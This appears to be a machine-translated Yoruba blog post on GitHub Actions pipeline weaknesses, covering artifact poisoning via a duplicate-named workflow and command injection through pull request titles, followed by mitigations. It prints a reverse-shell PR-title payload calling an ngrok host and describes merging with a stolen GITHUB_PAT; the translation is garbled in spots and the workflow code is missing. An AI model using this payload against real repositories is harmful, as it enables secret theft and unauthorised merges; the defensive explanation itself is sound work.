Lórí àwọn ìfiránṣẹ́ tó ti kọjá (wo Èèyàn tí a kò fi bẹ́ẹ̀ lò Pipeline I-PPE Ipasẹ ati Ti kojọ Pipeline Iṣe PPE , a ṣe pẹlu PPE (Egbòogi Pipeline Ìṣẹ̀dá): a rí bí ó ṣe ń ṣiṣẹ́, àwọn ipa rẹ̀, àwọn ìlòkulò díẹ̀ àti àwọn ọ̀nà láti dáàbò bò ó.
Ifiranṣẹ yii jinlẹ sinu diẹ ninu awọn miiran CI/CD pipeline àwọn àìlera bí Artifact Poisoning àti Code Injection.
Láti ṣe é, a ó gbé e ka orí PPE lọ́nà kan, nítorí náà, ẹ jẹ́ kí a ṣe àkópọ̀ díẹ̀ nípa ohun tí a rí nípa PPE.
Iṣẹ́ tó ti kọjá lórí PPE
Láti ṣe àkópọ̀, a bẹ̀rẹ̀ pẹ̀lú GitHub ipilẹ kan pipeline láti kọ́ àti láti dán kódù tí a fi kún un wò nípasẹ̀ pull requestYàtọ̀ sí èyí, ó ṣàlàyé àwọn àyẹ̀wò kan tí, tí a bá pàdé wọn, yóò da kódì náà pọ̀ mọ́ ẹ̀ka gbogbogbòò. A pe èyí ní orúkọ Oju iṣẹlẹ #1.
Nínú ìwé wa tó ṣáájú, a fi hàn bí èyí ṣe jẹ́ pàtàkì tó. pipeline je jẹ ipalara si D-PPE ati I-PPE mejeeji.
A ṣe àṣeyọrí ṣe atunṣe D-PPE by àtúnṣe ìṣẹ̀lẹ̀ ìfàsẹ́yìn náà lati ìbéèrè pull_ si pull_quest_target, ṣiṣe awọn pipeline ailewu si D-PPE. Gẹgẹbi olurannileti, pipelines ti a fa jade lori iṣẹlẹ pull_request_target kan yoo ṣe ipilẹ naa pipeline koodu, kìí ṣe pipeline koodu ti o wa ninu pull request.
A pe orúkọ yìí ní Oju iṣẹlẹ #2.
Nítorí àtúnṣe yìí, a fi hàn pé Àpẹẹrẹ #2 ṣì jẹ́ èyí tí ó lè farapa sí I-PPE.
Láti tún un ṣe, a pinnu láti pínyà pipeline sí méjì:
- Awọn 1st pipeline (Kọ́ CI) ṣe ṣayẹwo koodu PR (lati kọ ọ), ṣe ìkọ́lé náà kí o sì ṣe ohun ìṣẹ̀dá kan.
- Awọn keji pipeline (Idanwo CI) ṣe ṣayẹwo koodu ipilẹ (lati yago fun iyipada iwe afọwọkọ shell) kí o sì ṣe àwọn ìwé àkọsílẹ̀ àtilẹ̀wá lòdì sí ohun ìṣẹ̀ǹbáyé náà.
- Láti mú ìwádìí CI ṣiṣẹ́pọ̀ pipeline láti ṣiṣẹ́ LẸ́YÌN Ìkọ́lé CI pipeline, a yoo lo ìṣiṣẹ́_ṣiṣẹ́ nfa.
A pe orúkọ yìí ní Oju iṣẹlẹ #3.
Jẹ ki a gba koodu awọn mejeeji pada pipelines gẹ́gẹ́ bí àwọn àtúnṣe wọ̀nyí…
1st pipeline (Kọ́ CI):
2nd pipeline (Idanwo CI):
Èéfín Ohun Èlò
Gẹ́gẹ́ bí a ti sọ lókè yìí CI/CD pipelines:
- pipeline Kọ́ CI is ailewu si mejeji D-PPE (nitori pull_quest_target) ati I-PPE (nítorí pé kò tún ń ṣe àkọọ́lẹ̀ ìkọ̀kọ̀ náà mọ́).
- pipeline Idanwo CI jẹ tun ailewu si mejeji D-PPE (nitori ìṣiṣẹ́_ṣiṣẹ́) ati I-PPE (nitori o ṣayẹwo koodu ipilẹ lati gba iwe afọwọkọ ikarahun atilẹba)
Ẹ jẹ́ ká jìnlẹ̀ sínú “ojútùú” yìí.
Pipeline Idanwo CI gba ohun-ìṣẹ̀dá náà gẹ́gẹ́ bí fáìlì zip kan.
Nígbà tí a bá tú zip náà, ó máa ń ṣe àkọsílẹ̀ “àìléwu” náà. Kí ló dé tí mo fi sọ pé àkọsílẹ̀ “àìléwu” náà ni? Nítorí pé ní ìgbésẹ̀ kan tí ó ṣáájú, pipeline Ṣe àyẹ̀wò kódì “ìpìlẹ̀” náà, kí a lè fi àkọsílẹ̀ àkọ́kọ́ sínú fódà ibi iṣẹ́. Nítorí náà, nígbà tí pipeline ó ń ṣe àgbékalẹ̀ ìkọ̀wé ìkọ̀kọ̀ tí yóò ṣiṣẹ́ nípa lílo binary tí a ti gbà láti ìgbà tí a ti gbé kalẹ̀ tẹ́lẹ̀.
Lẹhinna, kini o jẹ isoro pẹ̀lú ọ̀nà yìí? Ìṣòro náà ń bọ̀ nígbà tí olùlò kan bá “ṣẹ̀dá” tuntun kan pipeline.
Tí olùlò bá ṣí PR kan tí ó ní tuntun pipeline, GitHub yoo ṣe iyẹn pipeline (fún àwọn ipò kan, gẹ́gẹ́ bí a ti rí i ní ìṣáájú) post).
Nítorí èyí, Kí ló máa ṣẹlẹ̀ tí olùlò bá ṣẹ̀dá tuntun pipeline pẹ̀lú orúkọ kan náà bíi ti Build CI? Bẹẹni, o jẹ iyalẹnu, ṣugbọn GitHub gba ọ laaye lati ṣẹda awọn meji pipelines pẹ̀lú orúkọ kan náà!!
Rántí pé Test CI yóò ṣiṣẹ́ lẹ́yìn Build CI…
Ó yani lẹ́nu pé, nítorí pé méjì ló wà báyìí pipelines pẹlu orukọ kanna, pipeline Idanwo CI yoo ṣiṣẹ lẹẹmeji: ọkan lẹhin atilẹba pipeline àti àwọn mìíràn lẹ́yìn “tuntun” pipeline.
Báwo ni àwọn onígbọ̀wọ́ ṣe lè lo àǹfààní yìí?
- Àkọ́kọ́, olùlò burúkú náà lè yí ìkọ̀wé shell padà láti fi àṣírí náà ránṣẹ́ sí olupin tí olùdarí àwọn olùlòkùn náà ń ṣàkóso.
- Ni apa keji, tuntun pipeline pẹ̀lú ìlà kan láti daakọ ìwé ìkọ̀wé ìkọ̀kọ̀ tí a yípadà sínú ohun àgbékalẹ̀ → fífi ìpalára sí ohun èlò ìtọ́jú ẹrankoct!!!
Nígbà tí olùlò bá ṣí PR pẹ̀lú àwọn àyípadà wọ̀nyí, “tuntun” pipeline a ó ṣe é (gbígbé ohun èlò olóró sókè) àti Deploy CI pipeline a o ṣe é lẹ́yìn náà, èyí tí yóò mú kí ìwé àfọwọ́kọ ìkarahun “tí a yípadà” yí ìkarahun “àtilẹ̀wá” tí ó wà nínú rẹ̀ padà pipeline aaye iṣẹ.
Eyi ni ohun ti a pe Èéfín Ohun Èlò, ie awọn agbára láti ṣe àtúnṣe (gígé) pipeline ọgbọn nipasẹ iyipada ti pipeline onisebaye.
Ọkan ṣee ṣe atunse jẹ́ ohun tí ó rọrùn: Bí a bá ṣí ìfìwéránṣẹ́ ohun èlò náà sínú fódà kékeré kan nínú ibi iṣẹ́ náà, a kò ní máa kọ àkọọ́lẹ̀ ìkọ̀kọ̀ “ìpìlẹ̀” náà sílẹ̀..
Abẹrẹ Koodu
Yàtọ̀ sí ìjẹkújẹ ohun èlò, ṣé o lè rí àléébù mìíràn nínú kódì tí ó wà lókè yìí?
Jeka lo!!
Gẹ́gẹ́ bí o ṣe lè rí i nínú koodu náà, pipeline Kọ CI kọ́ binary, ó gbé binary náà sókè gẹ́gẹ́ bí pipeline àti, yàtọ̀ sí èyí, ó gbé àwọn ìwífún afikún díẹ̀ sí i: Àkọlé PR àti àti PR Id.
Kí ló dé? Nítorí láti so PR pọ̀, gẹ́gẹ́ bí o ti lè rí i ní ìsàlẹ̀, Ìdánwò CI pipeline nilo ID PR lati pe GitHub REST API ti o so PR pọ.
Báwo ni ìdánwò CI ṣe rí pipeline gba ID PR yẹn? Pínpín ìwífún nínú àwọn fáìlì ọ̀rọ̀ (apá kan pipeline ohun èlò ìṣẹ̀dá) jẹ́ ọ̀nà tí ó wọ́pọ̀ láti pín ìwífún láàrín pipelines. Àti pé ìyẹn gan-an ni àwọn wọ̀nyí pipelines nṣe.
Ká sọ òótọ́, PR ID nìkan ni a nílò láti so PR pọ̀, ṣùgbọ́n pipeline admin pinnu láti tún fi àkọlé PR kún un kí Test CI náà lè jẹ́ kí pipeline yóò tẹ àwọn ìránṣẹ́ ìwífún kan jáde tí ó ní PR ID àti Title.
Àkọlé PR jẹ́ dátà tí ó ń wá láti ọ̀dọ̀ olùlò nígbà gbogbo, nítorí náà, a gbọ́dọ̀ kà á sí aláìgbẹ́kẹ̀lé nígbà gbogbo. Nitorinaa awọn pipeline gbọdọ ṣe bẹẹ ki o si gba awọn igbese aabo.
Nínú kódì tí ó wà lókè yìí, a lè rí ìfiranṣẹ́ pàtó tí ó ń dún Àkọlé PR. Ó kàn jẹ́ àṣẹ “echo” linux kan.
Nípasẹ̀ ìsopọ̀ okùn, tí àkọlé náà bá jẹ́ “àkọlé àláìlẹ́gbẹ́”, Github ń ṣe àkọlé kan tí ó ní nínú rẹ̀.
Ṣugbọn, kini ti akọle PR ba jẹ nkan bi:
Àkọlé búburú” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "Àkọsílẹ̀ náà yóò di:
Èyí tó yọrí sí ṣíṣí ìbòrí ìyípadà sí olupin tí àwọn olùdarí ẹ̀rọ ìkọlù ń ṣàkóso.
A le lo ikarahun ẹhin yẹn lati wọle si pipeline asiri (rántí pé Test CI ń ṣiṣẹ́ ní ipò àǹfààní nítorí pé iṣẹ́_ṣiṣẹ́ ń fa á, nítorí náà ó ní àǹfààní sí àwọn àṣírí).
Ṣùgbọ́n, kí ni ohun mìíràn tí a lè ṣe nípasẹ̀ ìbòrí ìyípadà yẹn?
Wo koodu idanwo CI:
Gẹ́gẹ́ bí o ṣe le rí i nínú Ìdánwò CI pipeline, àṣẹ ìṣọpọ̀ curl ń lo GITHUB_PAT (tí a túmọ̀ sí pipeline env var), nítorí náà, olùsáré náà ní GITHUB_PAT gẹ́gẹ́ bí oníyípadà àyíká. Jù bẹ́ẹ̀ lọ, ó tún ṣẹ̀dá env var tí ó ń ka PR ID.
Nítorí náà, olùgbéjà náà ní láti daakọ àṣẹ curl náà kí ó sì lẹẹ mọ́ inú ìkọ̀kọ̀ tí ó yí padà, kí ó sì da PR pọ̀ tààrà sínú ẹ̀ka tí a dáàbò bò.
Láti dáàbò bo gbogbo èyí:
- Lati yago fun ìsopọ̀mọ́ra okùn pẹ̀lú dátà tí a kò gbẹ́kẹ̀lé (tó ṣeé ṣe láti ṣe abẹrẹ koodu) nipasẹ asọye pipeline àwọn env vars dípò lílo rẹ̀ tààrà nínú àwọn àṣẹ echo
Dípò lílo:
Lo eyi:
- Paapaa pẹlu lilo injection koodu, aṣẹ curl merge kii ba ti ṣaṣeyọri ti o ba ti ṣe daradara. ṣe ààbò rẹ pull requests nípasẹ̀ àtúnyẹ̀wò tàbí ìfọwọ́sí dandan kan.
ipinnu
Ó ṣòro láti dáàbò bo lọ́nà kan. CI/CD pipelines iṣeto ati gba pipelines laisi awọn ailera.
Eyi ko tumọ si iyẹn CI/CD àwọn ètò (gẹ́gẹ́ bí GitHub nínú ọ̀ràn yìí) jẹ́ aláìlera fún ara wọn. CI/CD àwọn ètò ìṣiṣẹ́ ń pèsè ọ̀nà láti dáàbò bo ara wọn lọ́wọ́ àwọn àìlera ... ṣùgbọ́n ojúṣe olùdarí ni láti ṣe àwọn ààbò wọ̀nyẹn.
Ṣugbọn ... O ko le yanju ailera kan ayafi ti o ba mọ pe o wa!!!
Dajudaju pe oluṣakoso devops ti o ni oye pupọ le ni gbogbo awọn irokeke wọnyi ni lokan ki o daabobo wọn daradara CI/CD pipelines, ṣùgbọ́n, bó tilẹ̀ jẹ́ bẹ́ẹ̀, ó ṣe pàtàkì gan-an láti lo ọjà kan láti ṣàwárí gbogbo irú àwọn àìlera wọ̀nyí. Àti dájúdájú láti ṣe àtúnṣe ìlànà ìdènà àìlera yìí (fún àpẹẹrẹ, ṣíṣiṣẹ́ àyẹ̀wò gẹ́gẹ́ bí apá kan CI/CD pipelines).
Ọ̀nà yìí ni a lè pè ní “Iboju Aabo”:
- Ṣẹda titun kan pipeline (Ẹnubodè Ààbò) láti ṣàyẹ̀wò CI/CD pipelineawọn ailagbara ati ṣe CI miiran pipelineláti ṣe é lẹ́yìn tí a bá parí Ẹnubodè Ààbò ní àṣeyọrí pipeline.
- Ẹnubodè Ààbò pipelines yoo ṣayẹwo fun CI/CD pipelineawọn ailagbara s ati,
- Tí a bá rí àwọn èèmọ́, yóò kùnà, nítorí náà, èkejì pipelinea kì yóò pa s.
- Tí a kò bá rí àwọn ìwúwo, pipeline yoo ṣe aṣeyọri ati ekeji pipelines yoo ṣiṣẹ bi o ti ṣe deede.




